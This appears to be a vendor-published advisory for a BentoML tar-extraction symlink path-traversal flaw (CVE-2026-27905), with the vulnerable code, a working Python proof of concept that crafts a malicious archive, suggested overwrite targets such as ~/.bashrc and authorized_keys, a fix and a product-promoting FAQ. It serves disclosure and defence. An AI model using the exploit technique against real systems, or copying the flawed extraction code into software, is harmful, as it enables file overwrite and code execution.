CVE-2026-27905

Arbitrary File Write via Symlink Path Traversal in Tar Extraction

The safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.

Affected Component

• File: src/bentoml/_internal/utils/filesystem.py:58-96
• Callers: src/bentoml/_internal/cloud/bento.py:542, src/bentoml/_internal/cloud/model.py:504
• Affected versions: All versions with safe_extract_tarfile()

Severity

CVSS 3.1: 8.1 (High)
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Vulnerability Details

Vulnerable Code (filesystem.py:58-96)

def safe_extract_tarfile(tar, destination):
    os.makedirs(destination, exist_ok=True)
    for member in tar.getmembers():
        fn = member.name
        path = os.path.abspath(os.path.join(destination, fn))
        if not Path(path).is_relative_to(destination):  # Line 64: INCOMPLETE
            continue  # Only checks member path, NOT symlink target
        if member.issym():
            tar._extract_member(member, path)  # Line 75: Creates symlink with UNVALIDATED target
        else:
            fp = tar.extractfile(member)
            with open(path, "wb") as destfp:  # Line 92: open() FOLLOWS symlinks
                shutil.copyfileobj(fp, destfp)

The Bug

1. Line 64: Path(path).is_relative_to(destination) checks the member's OWN path, not the symlink target
2. Line 75: tar._extract_member() creates symlink with unvalidated target (e.g., /etc)
3. Line 92: open(path, "wb") follows the symlink, writing OUTSIDE the destination

os.path.abspath() does NOT resolve symlinks (only . and ..). The path check passes because the string path appears within destination, but open() follows the symlink to the actual target.

Proof of Concept

import io, os, shutil, tarfile, tempfile
from pathlib import Path

def create_malicious_tar(target_dir, target_file, payload):
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode='w:gz') as tar:
        sym = tarfile.TarInfo(name='escape')
        sym.type = tarfile.SYMTYPE
        sym.linkname = target_dir
        tar.addfile(sym)
        info = tarfile.TarInfo(name=f'escape/{target_file}')
        info.size = len(payload)
        tar.addfile(info, io.BytesIO(payload))
    buf.seek(0)
    return buf

with tempfile.TemporaryDirectory() as tmpdir:
    extract_dir = os.path.join(tmpdir, 'extract')
    target_dir = os.path.join(tmpdir, 'outside')
    os.makedirs(target_dir)
    
    mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')
    tar = tarfile.open(fileobj=mal_tar, mode='r:gz')
    
    # Reproduce filesystem.py:58-96
    os.makedirs(extract_dir, exist_ok=True)
    for member in tar.getmembers():
        path = os.path.abspath(os.path.join(extract_dir, member.name))
        if not Path(path).is_relative_to(extract_dir): continue
        if member.issym():
            tar._extract_member(member, path)  # Symlink target NOT checked
        else:
            fp = tar.extractfile(member)
            os.makedirs(os.path.dirname(path), exist_ok=True)
            if fp:
                with open(path, 'wb') as destfp:  # Follows symlink!
                    shutil.copyfileobj(fp, destfp)
    
    assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))
    print(open(os.path.join(target_dir, 'pwned.txt')).read())  # PWNED

1. Arbitrary file overwrite via shared bentos

BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: ~/.bashrc, ~/.ssh/authorized_keys, crontabs, Python site-packages.

2. Remote code execution via file overwrite

Overwriting ~/.bashrc or Python packages achieves RCE.

3. BentoCloud deployments

safe_extract_tarfile() is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.

References

• CWE-59: Improper Link Resolution Before File Access ('Link Following')
• CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

Validate symlink targets:

if member.issym():
    target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))
    if not Path(target).is_relative_to(dest):
        logger.warning('Symlink %s points outside: %s', member.name, member.linkname)
        continue

Or use Python 3.12+ tar.extractall(filter='data').

1. What is CVE-2026-27905? CVE-2026-27905 is a high-severity path traversal vulnerability in bentoml (pip), affecting versions < 1.4.36. It is fixed in 1.4.36. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of bentoml are affected by CVE-2026-27905? bentoml (pip) versions < 1.4.36 is affected.
3. Is there a fix for CVE-2026-27905? Yes. CVE-2026-27905 is fixed in 1.4.36. Upgrade to this version or later.
4. Is CVE-2026-27905 exploitable, and should I be worried? Whether CVE-2026-27905 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-27905 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-27905? Upgrade bentoml to 1.4.36 or later.